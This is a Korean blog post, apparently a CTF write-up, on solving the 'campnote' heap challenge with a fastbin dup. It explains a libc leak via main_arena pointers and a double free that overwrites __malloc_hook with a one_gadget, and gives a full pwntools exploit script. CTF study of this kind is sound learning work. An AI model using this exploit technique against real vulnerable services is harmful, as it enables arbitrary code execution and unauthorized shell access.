티스토리 뷰
이번 20회 해킹캠프에서 campnote라는 문제를 풀었는데 아직도 fastbin dup이 어려워서 정리한번 하려고한다.
조건
fast사이즈의 chunk를 자유자재로 할당, 해제할 수 가 있어야 한다.
free된 chunk에 대해서 free를 또 할 수 있어야 한다.
libc_leak
top_chunk와 인접하지않게 small, large 사이즈의 청크를 할당, 해제하면 해당 청크에 fd, bk에 <main+88>의 주소가 박힌다.
보이는 것처럼 main_arena로 와서 - 0x10만큼 빼고 거기서 malloc_hook의 오프셋을 빼면 libc_base를 구할 수 있다.
base = <main+88> - 88 - mallo_hook_offset - 0x10
setting
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
|
from pwn import *
context.log_level = 'debug'
p = process('./')
e = ELF("./")
l = e.libc
def alloc(idx, size, data):
p.recvuntil(">> ")
p.send("1")
p.recvuntil("idx : ")
p.send(str(idx))
p.recvuntil("size : ")
p.send(str(size))
p.recvuntil("data : ")
p.send(data)
def free(idx):
p.recvuntil(">> ")
p.send('2')
p.recvuntil("idx : ")
p.send(str(idx))
def view(idx):
p.recvuntil(">> ")
p.send('3')
p.recvuntil("idx : ")
p.send(str(idx))
|
기능들 세팅
libc_leak
small
fast
fast
다음과 같은 size로 할당,
small chunk로 libc_leak
free한 small chunk를 재할당
1
2
3
4
5
6
7
8
9
10
|
alloc(0, 0x81, 'a')
alloc(1, 0x60, 'a')
alloc(2, 0x60, 'a')
free(0)
view(0)
libc = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00')) - l.symbols['__malloc_hook'] - 88 - 0x10
alloc(3, 0x80, 'a')
|
Double free bug
fast chunk 두개 double free bug
1번 chunk의 fd에 malloc_hook의 주소
2번 chunk 할당
1번 chunk 재할당
malloc_hook제외 fd모두 소멸 -> 다음 할당시 mallo_hook의 주소에 쓰임
malloc_hook에 one_gadget의 주소를 넣었다.
malloc_hook의 포인터가 malloc_hook -0x23(35)에 위치한다고 하기에
p64(libc+l.symbols['__malloc_hook']-0x23)) 를 해준다.
1
2
3
4
5
6
7
8
9
|
free(1)
free(2)
free(1)
alloc(4, 0x60, p64(libc+l.symbols['__malloc_hook']-0x23))
alloc(4, 0x60, 'a')
alloc(4, 0x60, 'a')
alloc(4, 0x60, 'a'*19+p64(libc+0xf02a4))
free(0)
free(0)
|
마지막으로 free를 2번하면 오류와 동시에 malloc을 한번하게된다.
그와 동시에 원샷이 실행되며 쉘을 딸 수가 있다.
Full Exploit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
|
from pwn import *
context.log_level = 'debug'
p = process('./')
e = ELF("./")
l = e.libc
def alloc(idx, size, data):
p.recvuntil(">> ")
p.send("1")
p.recvuntil("idx : ")
p.send(str(idx))
p.recvuntil("size : ")
p.send(str(size))
p.recvuntil("data : ")
p.send(data)
def free(idx):
p.recvuntil(">> ")
p.send('2')
p.recvuntil("idx : ")
p.send(str(idx))
def view(idx):
p.recvuntil(">> ")
p.send('3')
p.recvuntil("idx : ")
p.send(str(idx))
alloc(0, 0x81, 'a')
alloc(1, 0x60, 'a')
alloc(2, 0x60, 'a')
free(0)
view(0)
libc = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00')) - l.symbols['__malloc_hook'] - 88 - 0x10
alloc(3, 0x80, 'a')
free(1)
free(2)
free(1)
alloc(4, 0x60, p64(libc+l.symbols['__malloc_hook']-0x23))
alloc(4, 0x60, 'a')
alloc(4, 0x60, 'a')
alloc(4, 0x60, 'a'*19+p64(libc+0xf02a4))
free(0)
free(0)
p.interactive()
|
사실 아직도 이해가 힘들다...
공부하러가야지
댓글